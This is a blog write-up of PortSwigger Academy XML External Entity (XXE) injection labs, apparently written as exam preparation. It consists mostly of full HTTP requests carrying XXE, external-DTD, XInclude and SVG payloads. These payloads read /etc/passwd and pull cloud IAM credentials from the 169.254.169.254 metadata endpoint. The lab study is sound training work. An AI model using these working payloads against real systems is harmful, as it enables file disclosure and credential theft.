top of page

PortSwigger Academy - XML External Entity (XXE) Injection Labs

  • Writer: Avraham Cohen
    Avraham Cohen
  • Jul 1, 2021
  • 3 min read

Updated: Oct 26, 2021

Studying for my eLearnSecurity eWPTX exam I decided to solve the XML External Entity (XXE) Injection labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge. Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.


Here is a list of the labs from Apprentice to Practitioner level:

You can find the lab list at the following link


Research: Intercept the Check Stock functionality and observe an XML is sent to the server.

Payload:

POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=IhuqjsyYAUp3T7FSXM0ciI6fIW458BTq
Content-Length: 175
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>

Research: Following the previous lab, it is the same exploitation technique but at this time we need to crawl the API. The response contains a hint to the full URL but in real world scenarios one should script this functionality.

Payload:

POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=27DmeMnWOkFqOtmipiWZyGtg22F6mY6Y
Content-Length: 227
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>

Requirements: Burp Collaborator

This lesson was mostly going through the solution and take notes.


Research: Following the previous lab, it is the same exploitation technique but at this time we need to find a way to exfiltrate the data. We can inject an error-based technique to a separate DTD and trigger an error with the file content.

Payload:

On the exploit-server save a new DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

From BurpSuite submit the below:

POST /product/stock HTTP/1.1
Host: aca61f721eea301b800710970023006d.web-security-academy.net
Cookie: session=KJnvndEyRsKNHoGoCXKaQ8NiPAjyGa5a
Content-Length: 238
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<Lab-ID>.web-security-academy.net/exploit"> %xxe;]>	
<stockCheck>
<productId>
4</productId><storeId>1</storeId>
</stockCheck>

Research: As I am not familiar with XInclude attack quick Google search results with https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md#xinclude-attacks

Payload:

POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=3IBS7Zga5LmyL2pKjAXuEz4HpOR37MiI
Content-Length: 126
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=2

Research:

Interestingly enough when I tried to inject a malicious SVG file I received the below error.

Then I decided to create a local SVG file with the same content.

Payload:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Comments


bottom of page